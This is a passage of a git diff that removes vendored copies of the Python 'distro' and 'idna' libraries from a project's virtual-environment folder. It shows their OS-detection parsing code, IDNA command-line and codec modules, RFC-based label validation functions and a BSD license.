-        Return a single named information item from the lsb_release command
-        output data source of the OS distribution.
-
-        For details, see :func:`distro.lsb_release_attr`.
-        """
-        return self._lsb_release_info.get(attribute, "")
-
-    def distro_release_attr(self, attribute: str) -> str:
-        """
-        Return a single named information item from the distro release file
-        data source of the OS distribution.
-
-        For details, see :func:`distro.distro_release_attr`.
-        """
-        return self._distro_release_info.get(attribute, "")
-
-    def uname_attr(self, attribute: str) -> str:
-        """
-        Return a single named information item from the uname command
-        output data source of the OS distribution.
-
-        For details, see :func:`distro.uname_attr`.
-        """
-        return self._uname_info.get(attribute, "")
-
-    @cached_property
-    def _os_release_info(self) -> Dict[str, str]:
-        """
-        Get the information items from the specified os-release file.
-
-        Returns:
-            A dictionary containing all information items.
-        """
-        if os.path.isfile(self.os_release_file):
-            with open(self.os_release_file, encoding="utf-8") as release_file:
-                return self._parse_os_release_content(release_file)
-        return {}
-
-    @staticmethod
-    def _parse_os_release_content(lines: TextIO) -> Dict[str, str]:
-        """
-        Parse the lines of an os-release file.
-
-        Parameters:
-
-        * lines: Iterable through the lines in the os-release file.
-                 Each line must be a unicode string or a UTF-8 encoded byte
-                 string.
-
-        Returns:
-            A dictionary containing all information items.
-        """
-        props = {}
-        lexer = shlex.shlex(lines, posix=True)
-        lexer.whitespace_split = True
-
-        tokens = list(lexer)
-        for token in tokens:
-            # At this point, all shell-like parsing has been done (i.e.
-            # comments processed, quotes and backslash escape sequences
-            # processed, multi-line values assembled, trailing newlines
-            # stripped, etc.), so the tokens are now either:
-            # * variable assignments: var=value
-            # * commands or their arguments (not allowed in os-release)
-            # Ignore any tokens that are not variable assignments
-            if "=" in token:
-                k, v = token.split("=", 1)
-                props[k.lower()] = v
-
-        if "version" in props:
-            # extract release codename (if any) from version attribute
-            match = re.search(r"\((\D+)\)|,\s*(\D+)", props["version"])
-            if match:
-                release_codename = match.group(1) or match.group(2)
-                props["codename"] = props["release_codename"] = release_codename
-
-        if "version_codename" in props:
-            # os-release added a version_codename field.  Use that in
-            # preference to anything else Note that some distros purposefully
-            # do not have code names.  They should be setting
-            # version_codename=""
-            props["codename"] = props["version_codename"]
-        elif "ubuntu_codename" in props:
-            # Same as above but a non-standard field name used on older Ubuntus
-            props["codename"] = props["ubuntu_codename"]
-
-        return props
-
-    @cached_property
-    def _lsb_release_info(self) -> Dict[str, str]:
-        """
-        Get the information items from the lsb_release command output.
-
-        Returns:
-            A dictionary containing all information items.
-        """
-        if not self.include_lsb:
-            return {}
-        try:
-            cmd = ("lsb_release", "-a")
-            stdout = subprocess.check_output(cmd, stderr=subprocess.DEVNULL)
-        # Command not found or lsb_release returned error
-        except (OSError, subprocess.CalledProcessError):
-            return {}
-        content = self._to_str(stdout).splitlines()
-        return self._parse_lsb_release_content(content)
-
-    @staticmethod
-    def _parse_lsb_release_content(lines: Iterable[str]) -> Dict[str, str]:
-        """
-        Parse the output of the lsb_release command.
-
-        Parameters:
-
-        * lines: Iterable through the lines of the lsb_release output.
-                 Each line must be a unicode string or a UTF-8 encoded byte
-                 string.
-
-        Returns:
-            A dictionary containing all information items.
-        """
-        props = {}
-        for line in lines:
-            kv = line.strip("\n").split(":", 1)
-            if len(kv) != 2:
-                # Ignore lines without colon.
-                continue
-            k, v = kv
-            props.update({k.replace(" ", "_").lower(): v.strip()})
-        return props
-
-    @cached_property
-    def _uname_info(self) -> Dict[str, str]:
-        if not self.include_uname:
-            return {}
-        try:
-            cmd = ("uname", "-rs")
-            stdout = subprocess.check_output(cmd, stderr=subprocess.DEVNULL)
-        except OSError:
-            return {}
-        content = self._to_str(stdout).splitlines()
-        return self._parse_uname_content(content)
-
-    @cached_property
-    def _oslevel_info(self) -> str:
-        if not self.include_oslevel:
-            return ""
-        try:
-            stdout = subprocess.check_output("oslevel", stderr=subprocess.DEVNULL)
-        except (OSError, subprocess.CalledProcessError):
-            return ""
-        return self._to_str(stdout).strip()
-
-    @cached_property
-    def _debian_version(self) -> str:
-        try:
-            with open(
-                os.path.join(self.etc_dir, "debian_version"), encoding="ascii"
-            ) as fp:
-                return fp.readline().rstrip()
-        except FileNotFoundError:
-            return ""
-
-    @staticmethod
-    def _parse_uname_content(lines: Sequence[str]) -> Dict[str, str]:
-        if not lines:
-            return {}
-        props = {}
-        match = re.search(r"^([^\s]+)\s+([\d\.]+)", lines[0].strip())
-        if match:
-            name, version = match.groups()
-
-            # This is to prevent the Linux kernel version from
-            # appearing as the 'best' version on otherwise
-            # identifiable distributions.
-            if name == "Linux":
-                return {}
-            props["id"] = name.lower()
-            props["name"] = name
-            props["release"] = version
-        return props
-
-    @staticmethod
-    def _to_str(bytestring: bytes) -> str:
-        encoding = sys.getfilesystemencoding()
-        return bytestring.decode(encoding)
-
-    @cached_property
-    def _distro_release_info(self) -> Dict[str, str]:
-        """
-        Get the information items from the specified distro release file.
-
-        Returns:
-            A dictionary containing all information items.
-        """
-        if self.distro_release_file:
-            # If it was specified, we use it and parse what we can, even if
-            # its file name or content does not match the expected pattern.
-            distro_info = self._parse_distro_release_file(self.distro_release_file)
-            basename = os.path.basename(self.distro_release_file)
-            # The file name pattern for user-specified distro release files
-            # is somewhat more tolerant (compared to when searching for the
-            # file), because we want to use what was specified as best as
-            # possible.
-            match = _DISTRO_RELEASE_BASENAME_PATTERN.match(basename)
-        else:
-            try:
-                basenames = [
-                    basename
-                    for basename in os.listdir(self.etc_dir)
-                    if basename not in _DISTRO_RELEASE_IGNORE_BASENAMES
-                    and os.path.isfile(os.path.join(self.etc_dir, basename))
-                ]
-                # We sort for repeatability in cases where there are multiple
-                # distro specific files; e.g. CentOS, Oracle, Enterprise all
-                # containing `redhat-release` on top of their own.
-                basenames.sort()
-            except OSError:
-                # This may occur when /etc is not readable but we can't be
-                # sure about the *-release files. Check common entries of
-                # /etc for information. If they turn out to not be there the
-                # error is handled in `_parse_distro_release_file()`.
-                basenames = _DISTRO_RELEASE_BASENAMES
-            for basename in basenames:
-                match = _DISTRO_RELEASE_BASENAME_PATTERN.match(basename)
-                if match is None:
-                    continue
-                filepath = os.path.join(self.etc_dir, basename)
-                distro_info = self._parse_distro_release_file(filepath)
-                # The name is always present if the pattern matches.
-                if "name" not in distro_info:
-                    continue
-                self.distro_release_file = filepath
-                break
-            else:  # the loop didn't "break": no candidate.
-                return {}
-
-        if match is not None:
-            distro_info["id"] = match.group(1)
-
-        # CloudLinux < 7: manually enrich info with proper id.
-        if "cloudlinux" in distro_info.get("name", "").lower():
-            distro_info["id"] = "cloudlinux"
-
-        return distro_info
-
-    def _parse_distro_release_file(self, filepath: str) -> Dict[str, str]:
-        """
-        Parse a distro release file.
-
-        Parameters:
-
-        * filepath: Path name of the distro release file.
-
-        Returns:
-            A dictionary containing all information items.
-        """
-        try:
-            with open(filepath, encoding="utf-8") as fp:
-                # Only parse the first line. For instance, on SLES there
-                # are multiple lines. We don't want them...
-                return self._parse_distro_release_content(fp.readline())
-        except OSError:
-            # Ignore not being able to read a specific, seemingly version
-            # related file.
-            # See https://github.com/python-distro/distro/issues/162
-            return {}
-
-    @staticmethod
-    def _parse_distro_release_content(line: str) -> Dict[str, str]:
-        """
-        Parse a line from a distro release file.
-
-        Parameters:
-        * line: Line from the distro release file. Must be a unicode string
-                or a UTF-8 encoded byte string.
-
-        Returns:
-            A dictionary containing all information items.
-        """
-        matches = _DISTRO_RELEASE_CONTENT_REVERSED_PATTERN.match(line.strip()[::-1])
-        distro_info = {}
-        if matches:
-            # regexp ensures non-None
-            distro_info["name"] = matches.group(3)[::-1]
-            if matches.group(2):
-                distro_info["version_id"] = matches.group(2)[::-1]
-            if matches.group(1):
-                distro_info["codename"] = matches.group(1)[::-1]
-        elif line:
-            distro_info["name"] = line.strip()
-        return distro_info
-
-
-_distro = LinuxDistribution()
-
-
-def main() -> None:
-    logger = logging.getLogger(__name__)
-    logger.setLevel(logging.DEBUG)
-    logger.addHandler(logging.StreamHandler(sys.stdout))
-
-    parser = argparse.ArgumentParser(description="OS distro info tool")
-    parser.add_argument(
-        "--json", "-j", help="Output in machine readable format", action="store_true"
-    )
-
-    parser.add_argument(
-        "--root-dir",
-        "-r",
-        type=str,
-        dest="root_dir",
-        help="Path to the root filesystem directory (defaults to /)",
-    )
-
-    args = parser.parse_args()
-
-    if args.root_dir:
-        dist = LinuxDistribution(
-            include_lsb=False,
-            include_uname=False,
-            include_oslevel=False,
-            root_dir=args.root_dir,
-        )
-    else:
-        dist = _distro
-
-    if args.json:
-        logger.info(json.dumps(dist.info(), indent=4, sort_keys=True))
-    else:
-        logger.info("Name: %s", dist.name(pretty=True))
-        distribution_version = dist.version(pretty=True)
-        logger.info("Version: %s", distribution_version)
-        distribution_codename = dist.codename()
-        logger.info("Codename: %s", distribution_codename)
-
-
-if __name__ == "__main__":
-    main()
diff --git a/venv/Lib/site-packages/pip/_vendor/distro/py.typed b/venv/Lib/site-packages/pip/_vendor/distro/py.typed
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/LICENSE.md b/venv/Lib/site-packages/pip/_vendor/idna/LICENSE.md
deleted file mode 100644
index f706835ab3a5dd709a6e1f57aee0a94ae1415df6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/LICENSE.md
+++ /dev/null
@@ -1,31 +0,0 @@
-BSD 3-Clause License
-
-Copyright (c) 2013-2026, Kim Davies and contributors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-1. Redistributions of source code must retain the above copyright
-   notice, this list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright
-   notice, this list of conditions and the following disclaimer in the
-   documentation and/or other materials provided with the distribution.
-
-3. Neither the name of the copyright holder nor the names of its
-   contributors may be used to endorse or promote products derived from
-   this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
-TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
-PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
-LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
-NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/__init__.py b/venv/Lib/site-packages/pip/_vendor/idna/__init__.py
deleted file mode 100644
index cfdc030a751b089fc7e38fc88093b791605d501d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/__init__.py
+++ /dev/null
@@ -1,45 +0,0 @@
-from .core import (
-    IDNABidiError,
-    IDNAError,
-    InvalidCodepoint,
-    InvalidCodepointContext,
-    alabel,
-    check_bidi,
-    check_hyphen_ok,
-    check_initial_combiner,
-    check_label,
-    check_nfc,
-    decode,
-    encode,
-    ulabel,
-    uts46_remap,
-    valid_contextj,
-    valid_contexto,
-    valid_label_length,
-    valid_string_length,
-)
-from .intranges import intranges_contain
-from .package_data import __version__
-
-__all__ = [
-    "__version__",
-    "IDNABidiError",
-    "IDNAError",
-    "InvalidCodepoint",
-    "InvalidCodepointContext",
-    "alabel",
-    "check_bidi",
-    "check_hyphen_ok",
-    "check_initial_combiner",
-    "check_label",
-    "check_nfc",
-    "decode",
-    "encode",
-    "intranges_contain",
-    "ulabel",
-    "uts46_remap",
-    "valid_contextj",
-    "valid_contexto",
-    "valid_label_length",
-    "valid_string_length",
-]
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/__main__.py b/venv/Lib/site-packages/pip/_vendor/idna/__main__.py
deleted file mode 100644
index dbdd066172160ef2d47b29f0caa00e27c62ebc20..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/__main__.py
+++ /dev/null
@@ -1,6 +0,0 @@
-import sys
-
-from .cli import main
-
-if __name__ == "__main__":
-    sys.exit(main())
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/cli.py b/venv/Lib/site-packages/pip/_vendor/idna/cli.py
deleted file mode 100644
index 4acda2c0f03561ee7e2a80611bdcb35900bb34e0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/cli.py
+++ /dev/null
@@ -1,128 +0,0 @@
-"""Command-line interface for the :mod:`idna` package.
-
-Invoked via ``python -m idna``. See :func:`main` for the entry point.
-"""
-
-import argparse
-import sys
-from collections.abc import Iterable
-from itertools import chain
-from typing import IO, Optional
-
-from . import IDNAError, decode, encode
-from .core import _alabel_prefix, _unicode_dots_re
-from .package_data import __version__
-
-
-def _looks_like_alabel(s: str) -> bool:
-    """Return True if any label in ``s`` carries the ``xn--`` ACE prefix."""
-    prefix = _alabel_prefix.decode("ascii")
-    return any(label.lower().startswith(prefix) for label in _unicode_dots_re.split(s))
-
-
-def _build_parser() -> argparse.ArgumentParser:
-    parser = argparse.ArgumentParser(
-        prog="python -m idna",
-        description=(
-            "Convert a domain name between its Unicode (U-label) and "
-            "ASCII-compatible (A-label) forms. With no mode flag, the "
-            "direction is chosen from the first input — if it contains "
-            "an xn-- label the stream is decoded, otherwise it is "
-            "encoded — and the same mode is applied to every remaining "
-            "input. UTS #46 mapping is applied by default; pass "
-            "--strict to disable it. When no domains are given on the "
-            "command line and stdin is piped, one domain per line is "
-            "read from stdin."
-        ),
-    )
-    mode = parser.add_mutually_exclusive_group()
-    mode.add_argument(
-        "-e",
-        "--encode",
-        dest="mode",
-        action="store_const",
-        const="encode",
-        help="Encode the input to its ASCII A-label form.",
-    )
-    mode.add_argument(
-        "-d",
-        "--decode",
-        dest="mode",
-        action="store_const",
-        const="decode",
-        help="Decode the input from its ASCII A-label form.",
-    )
-    parser.add_argument(
-        "--strict",
-        action="store_true",
-        help="Disable the default UTS #46 mapping and apply IDNA 2008 rules verbatim.",
-    )
-    parser.add_argument(
-        "--version",
-        action="version",
-        version=f"idna {__version__}",
-    )
-    parser.add_argument(
-        "domain",
-        nargs="*",
-        help="One or more domain names to convert. Omit to read from stdin.",
-    )
-    return parser
-
-
-def _iter_stdin(stream: IO[str]) -> Iterable[str]:
-    """Yield non-empty stripped lines from ``stream``, ignoring blanks."""
-    for line in stream:
-        stripped = line.strip()
-        if stripped:
-            yield stripped
-
-
-def _convert_one(domain: str, mode: str, uts46: bool) -> bool:
-    """Convert ``domain`` and write the result; return ``False`` on failure."""
-    try:
-        if mode == "decode":
-            print(decode(domain, uts46=uts46))
-        else:
-            print(encode(domain, uts46=uts46).decode("ascii"))
-    except IDNAError as err:
-        print(f"idna: {mode} failed for {domain!r}: {err}", file=sys.stderr)
-        return False
-    return True
-
-
-def main(argv: Optional[list[str]] = None) -> int:
-    """Entry point for ``python -m idna``.
-
-    When more than one domain is supplied (via positional arguments or
-    piped stdin) and no mode flag is given, the first input determines
-    the direction and that mode is applied uniformly to the rest.
-
-    :param argv: Argument list excluding the program name. Defaults to
-        :data:`sys.argv` when ``None``.
-    :returns: ``0`` on success, ``1`` if any conversion fails.
-    """
-    parser = _build_parser()
-    args = parser.parse_args(argv)
-    uts46 = not args.strict
-
-    if args.domain:
-        domains: Iterable[str] = args.domain
-    elif not sys.stdin.isatty():
-        domains = _iter_stdin(sys.stdin)
-    else:
-        parser.error("a domain argument is required when stdin is a terminal")
-
-    iterator = iter(domains)
-    first = next(iterator, None)
-    if first is None:
-        return 0
-
-    mode = args.mode or ("decode" if _looks_like_alabel(first) else "encode")
-
-    results = [_convert_one(domain, mode, uts46) for domain in chain([first], iterator)]
-    return 0 if all(results) else 1
-
-
-if __name__ == "__main__":
-    sys.exit(main())
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/codec.py b/venv/Lib/site-packages/pip/_vendor/idna/codec.py
deleted file mode 100644
index 83b42fe42b51adbe1cf9dbea79c4c8d8dbf8a0b9..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/codec.py
+++ /dev/null
@@ -1,159 +0,0 @@
-import codecs
-from typing import Any, Optional
-
-from .core import IDNAError, _unicode_dots_re, alabel, decode, encode, ulabel
-
-
-class Codec(codecs.Codec):
-    """Stateless IDNA 2008 codec.
-
-    Implements the :class:`codecs.Codec` protocol so that the whole-domain
-    encoder (:func:`idna.encode`) and decoder (:func:`idna.decode`) are
-    accessible through the standard codec machinery as ``"idna2008"``.
-
-    Only the ``"strict"`` error handler is supported; any other handler
-    raises :exc:`~idna.IDNAError`.
-    """
-
-    def encode(self, data: str, errors: str = "strict") -> tuple[bytes, int]:  # ty: ignore[invalid-method-override]
-        if errors != "strict":
-            raise IDNAError(f'Unsupported error handling "{errors}"')
-
-        if not data:
-            return b"", 0
-
-        return encode(data), len(data)
-
-    def decode(self, data: bytes, errors: str = "strict") -> tuple[str, int]:  # ty: ignore[invalid-method-override]
-        if errors != "strict":
-            raise IDNAError(f'Unsupported error handling "{errors}"')
-
-        if not data:
-            return "", 0
-
-        return decode(data), len(data)
-
-
-class IncrementalEncoder(codecs.BufferedIncrementalEncoder):
-    """Incremental IDNA 2008 encoder.
-
-    Buffers a partial trailing label across calls until either the next
-    label separator is seen or ``final=True``, so that streamed input is
-    encoded one whole label at a time. Any of the four Unicode label
-    separators (``U+002E``, ``U+3002``, ``U+FF0E``, ``U+FF61``) ends a
-    label; the result always uses ``U+002E`` as the separator.
-
-    Only the ``"strict"`` error handler is supported.
-    """
-
-    def _buffer_encode(self, data: str, errors: str, final: bool) -> tuple[bytes, int]:  # ty: ignore[invalid-method-override]
-        if errors != "strict":
-            raise IDNAError(f'Unsupported error handling "{errors}"')
-
-        if not data:
-            return b"", 0
-
-        labels = _unicode_dots_re.split(data)
-        trailing_dot = b""
-        if labels:
-            if not labels[-1]:
-                trailing_dot = b"."
-                del labels[-1]
-            elif not final:
-                # Keep potentially unfinished label until the next call
-                del labels[-1]
-                if labels:
-                    trailing_dot = b"."
-
-        result = []
-        size = 0
-        for label in labels:
-            result.append(alabel(label))
-            if size:
-                size += 1
-            size += len(label)
-
-        # Join with U+002E
-        result_bytes = b".".join(result) + trailing_dot
-        size += len(trailing_dot)
-        return result_bytes, size
-
-
-class IncrementalDecoder(codecs.BufferedIncrementalDecoder):
-    """Incremental IDNA 2008 decoder.
-
-    Buffers a partial trailing label across calls until either the next
-    label separator is seen or ``final=True``, so that streamed input is
-    decoded one whole label at a time.
-
-    Only the ``"strict"`` error handler is supported.
-    """
-
-    def _buffer_decode(self, data: Any, errors: str, final: bool) -> tuple[str, int]:  # ty: ignore[invalid-method-override]
-        if errors != "strict":
-            raise IDNAError(f'Unsupported error handling "{errors}"')
-
-        if not data:
-            return ("", 0)
-
-        if not isinstance(data, str):
-            data = str(data, "ascii")
-
-        labels = _unicode_dots_re.split(data)
-        trailing_dot = ""
-        if labels:
-            if not labels[-1]:
-                trailing_dot = "."
-                del labels[-1]
-            elif not final:
-                # Keep potentially unfinished label until the next call
-                del labels[-1]
-                if labels:
-                    trailing_dot = "."
-
-        result = []
-        size = 0
-        for label in labels:
-            result.append(ulabel(label))
-            if size:
-                size += 1
-            size += len(label)
-
-        result_str = ".".join(result) + trailing_dot
-        size += len(trailing_dot)
-        return (result_str, size)
-
-
-class StreamWriter(Codec, codecs.StreamWriter):
-    pass
-
-
-class StreamReader(Codec, codecs.StreamReader):
-    pass
-
-
-def search_function(name: str) -> Optional[codecs.CodecInfo]:
-    """Codec search function registered with :mod:`codecs`.
-
-    Returns a :class:`codecs.CodecInfo` for the ``"idna2008"`` codec name
-    so that ``str.encode("idna2008")`` and ``bytes.decode("idna2008")``
-    invoke the IDNA 2008 codec defined in this module.
-
-    :param name: The codec name being looked up.
-    :returns: A :class:`codecs.CodecInfo` instance if ``name`` is
-        ``"idna2008"``, otherwise ``None``.
-    """
-    if name != "idna2008":
-        return None
-    return codecs.CodecInfo(
-        name=name,
-        encode=Codec().encode,
-        decode=Codec().decode,  # type: ignore
-        incrementalencoder=IncrementalEncoder,
-        incrementaldecoder=IncrementalDecoder,
-        streamwriter=StreamWriter,
-        streamreader=StreamReader,
-    )
-
-
-codecs.register(search_function)
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/compat.py b/venv/Lib/site-packages/pip/_vendor/idna/compat.py
deleted file mode 100644
index 1d01e3d9750860e6ec87fb7c0955cee6bcd9fcc1..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/compat.py
+++ /dev/null
@@ -1,41 +0,0 @@
-from typing import Any, Union
-
-from .core import decode, encode
-
-
-def ToASCII(label: str) -> bytes:
-    """Compatibility shim for :rfc:`3490` ``ToASCII``.
-
-    Delegates to :func:`idna.encode` (IDNA 2008). Provided to ease porting
-    of code written against the legacy :mod:`encodings.idna` API; new code
-    should call :func:`idna.encode` directly.
-
-    :param label: The label or domain to encode.
-    :returns: The encoded form as ASCII :class:`bytes`.
-    """
-    return encode(label)
-
-
-def ToUnicode(label: Union[bytes, bytearray]) -> str:
-    """Compatibility shim for :rfc:`3490` ``ToUnicode``.
-
-    Delegates to :func:`idna.decode` (IDNA 2008). Provided to ease porting
-    of code written against the legacy :mod:`encodings.idna` API; new code
-    should call :func:`idna.decode` directly.
-
-    :param label: The label or domain to decode.
-    :returns: The decoded Unicode form.
-    """
-    return decode(label)
-
-
-def nameprep(s: Any) -> None:
-    """Stub for :rfc:`3491` Nameprep, which is not used by IDNA 2008.
-
-    IDNA 2008 (:rfc:`5891`) replaces Nameprep with the per-codepoint
-    validity classes from :rfc:`5892`; this function exists only to
-    return a clear error if legacy code attempts to call it.
-
-    :raises NotImplementedError: Always.
-    """
-    raise NotImplementedError("IDNA 2008 does not utilise nameprep protocol")
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/core.py b/venv/Lib/site-packages/pip/_vendor/idna/core.py
deleted file mode 100644
index 1ccbd1f3356e4b9f2aeb36b00fd5591d85459464..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/core.py
+++ /dev/null
@@ -1,648 +0,0 @@
-import bisect
-import re
-import unicodedata
-import warnings
-from typing import Optional, Union
-
-from . import idnadata
-from .intranges import intranges_contain
-
-_virama_combining_class = 9
-_alabel_prefix = b"xn--"
-_max_input_length = 1024
-_unicode_dots_re = re.compile("[\u002e\u3002\uff0e\uff61]")
-
-
-# Bidi category sets from RFC 5893, hoisted out of the per-codepoint loop
-_bidi_rtl_first = frozenset({"R", "AL"})
-_bidi_rtl_categories = frozenset({"R", "AL", "AN"})
-_bidi_rtl_allowed = frozenset({"R", "AL", "AN", "EN", "ES", "CS", "ET", "ON", "BN", "NSM"})
-_bidi_rtl_valid_ending = frozenset({"R", "AL", "EN", "AN"})
-_bidi_rtl_numeric = frozenset({"AN", "EN"})
-_bidi_ltr_allowed = frozenset({"L", "EN", "ES", "CS", "ET", "ON", "BN", "NSM"})
-_bidi_ltr_valid_ending = frozenset({"L", "EN"})
-_bidi_joiner_l_or_d = frozenset({"L", "D"})
-_bidi_joiner_r_or_d = frozenset({"R", "D"})
-
-
-def _joining_type(cp: int) -> Optional[str]:
-    for jt, ranges in idnadata.joining_types.items():
-        if intranges_contain(cp, ranges):
-            return jt
-    return None
-
-
-class IDNAError(UnicodeError):
-    """Base exception for all IDNA-encoding related problems"""
-
-
-class IDNABidiError(IDNAError):
-    """Exception when bidirectional requirements are not satisfied"""
-
-
-class InvalidCodepoint(IDNAError):
-    """Exception when a disallowed or unallocated codepoint is used"""
-
-
-class InvalidCodepointContext(IDNAError):
-    """Exception when the codepoint is not valid in the context it is used"""
-
-
-def _combining_class(cp: int) -> int:
-    v = unicodedata.combining(chr(cp))
-    if v == 0 and not unicodedata.name(chr(cp)):
-        raise ValueError("Unknown character in unicodedata")
-    return v
-
-
-def _is_script(cp: str, script: str) -> bool:
-    return intranges_contain(ord(cp), idnadata.scripts[script])
-
-
-def _punycode(s: str) -> bytes:
-    return s.encode("punycode")
-
-
-def _unot(s: int) -> str:
-    return f"U+{s:04X}"
-
-
-def valid_label_length(label: Union[bytes, str]) -> bool:
-    """Check that a label does not exceed the maximum permitted length.
-
-    Per :rfc:`1035` (and :rfc:`5891` §4.2.4) a DNS label must not exceed
-    63 octets. The argument may be either a :class:`str` (a U-label, where
-    length is measured in characters) or :class:`bytes` (an A-label, where
-    length is measured in octets).
-
-    :param label: The label to check.
-    :returns: ``True`` if the label is within the length limit, otherwise
-        ``False``.
-    """
-    return len(label) <= 63
-
-
-def valid_string_length(domain: Union[bytes, str], trailing_dot: bool) -> bool:
-    """Check that a full domain name does not exceed the maximum length.
-
-    Per :rfc:`1035`, a domain name is limited to 253 octets when no trailing
-    dot is present, or 254 octets when one is included.
-
-    :param domain: The full (possibly multi-label) domain name.
-    :param trailing_dot: ``True`` if ``domain`` includes a trailing ``.``.
-    :returns: ``True`` if the domain is within the length limit, otherwise
-        ``False``.
-    """
-    return len(domain) <= (254 if trailing_dot else 253)
-
-
-def check_bidi(label: str, check_ltr: bool = False) -> bool:
-    """Validate the Bidi Rule from :rfc:`5893` for a single label.
-
-    The Bidi Rule constrains how bidirectional characters (Hebrew, Arabic,
-    etc.) may appear within a label. By default the check is only applied
-    when the label contains at least one right-to-left character (Unicode
-    bidirectional categories ``R``, ``AL``, or ``AN``); set ``check_ltr``
-    to ``True`` to apply it to LTR-only labels as well.
-
-    :param label: The label to validate, as a Unicode string.
-    :param check_ltr: If ``True``, apply the rules even when the label
-        contains no RTL characters.
-    :returns: ``True`` if the label satisfies the Bidi Rule.
-    :raises IDNABidiError: If any of Bidi Rule conditions 1-6 are violated,
-        or if the directional category of a codepoint cannot be determined.
-    """
-    if len(label) > _max_input_length:
-        raise IDNAError("Label too long")
-    # Bidi rules should only be applied if string contains RTL characters
-    bidi_label = False
-    for idx, cp in enumerate(label, 1):
-        direction = unicodedata.bidirectional(cp)
-        if direction == "":
-            # String likely comes from a newer version of Unicode
-            raise IDNABidiError(f"Unknown directionality in label {label!r} at position {idx}")
-        if direction in _bidi_rtl_categories:
-            bidi_label = True
-    if not bidi_label and not check_ltr:
-        return True
-
-    # Bidi rule 1
-    direction = unicodedata.bidirectional(label[0])
-    if direction in _bidi_rtl_first:
-        rtl = True
-    elif direction == "L":
-        rtl = False
-    else:
-        raise IDNABidiError(f"First codepoint in label {label!r} must be directionality L, R or AL")
-
-    valid_ending = False
-    number_type: Optional[str] = None
-    for idx, cp in enumerate(label, 1):
-        direction = unicodedata.bidirectional(cp)
-
-        if rtl:
-            # Bidi rule 2
-            if direction not in _bidi_rtl_allowed:
-                raise IDNABidiError(f"Invalid direction for codepoint at position {idx} in a right-to-left label")
-            # Bidi rule 3
-            if direction in _bidi_rtl_valid_ending:
-                valid_ending = True
-            elif direction != "NSM":
-                valid_ending = False
-            # Bidi rule 4
-            if direction in _bidi_rtl_numeric:
-                if not number_type:
-                    number_type = direction
-                elif number_type != direction:
-                    raise IDNABidiError("Can not mix numeral types in a right-to-left label")
-        else:
-            # Bidi rule 5
-            if direction not in _bidi_ltr_allowed:
-                raise IDNABidiError(f"Invalid direction for codepoint at position {idx} in a left-to-right label")
-            # Bidi rule 6
-            if direction in _bidi_ltr_valid_ending:
-                valid_ending = True
-            elif direction != "NSM":
-                valid_ending = False
-
-    if not valid_ending:
-        raise IDNABidiError("Label ends with illegal codepoint directionality")
-
-    return True
-
-
-def check_initial_combiner(label: str) -> bool:
-    """Reject labels that begin with a combining mark.
-
-    Per :rfc:`5891` §4.2.3.2 a label must not start with a character of
-    Unicode general category ``M`` (Mark).
-
-    :param label: The label to check.
-    :returns: ``True`` if the first character is not a combining mark.
-    :raises IDNAError: If the label begins with a combining character.
-    """
-    if unicodedata.category(label[0])[0] == "M":
-        raise IDNAError("Label begins with an illegal combining character")
-    return True
-
-
-def check_hyphen_ok(label: str) -> bool:
-    """Validate the hyphen restrictions for a label.
-
-    Per :rfc:`5891` §4.2.3.1 a label must not start or end with a hyphen
-    (``U+002D``), and must not have hyphens in both the third and fourth
-    positions (the prefix reserved for A-labels).
-
-    :param label: The label to check.
-    :returns: ``True`` if the hyphen restrictions are satisfied.
-    :raises IDNAError: If any of the hyphen restrictions are violated.
-    """
-    if label[2:4] == "--":
-        raise IDNAError("Label has disallowed hyphens in 3rd and 4th position")
-    if label[0] == "-" or label[-1] == "-":
-        raise IDNAError("Label must not start or end with a hyphen")
-    return True
-
-
-def check_nfc(label: str) -> None:
-    """Require that a label is in Unicode Normalization Form C.
-
-    :param label: The label to check.
-    :raises IDNAError: If ``label`` differs from its NFC normalisation.
-    """
-    if len(label) > _max_input_length:
-        raise IDNAError("Label too long")
-    if unicodedata.normalize("NFC", label) != label:
-        raise IDNAError("Label must be in Normalization Form C")
-
-
-def valid_contextj(label: str, pos: int) -> bool:
-    """Validate the CONTEXTJ rules from :rfc:`5892` Appendix A.
-
-    These rules govern the contextual use of the joiner codepoints
-    ``U+200C`` (ZERO WIDTH NON-JOINER, Appendix A.1) and ``U+200D``
-    (ZERO WIDTH JOINER, Appendix A.2) within a label.
-
-    :param label: The label containing the codepoint.
-    :param pos: Index of the joiner codepoint within ``label``.
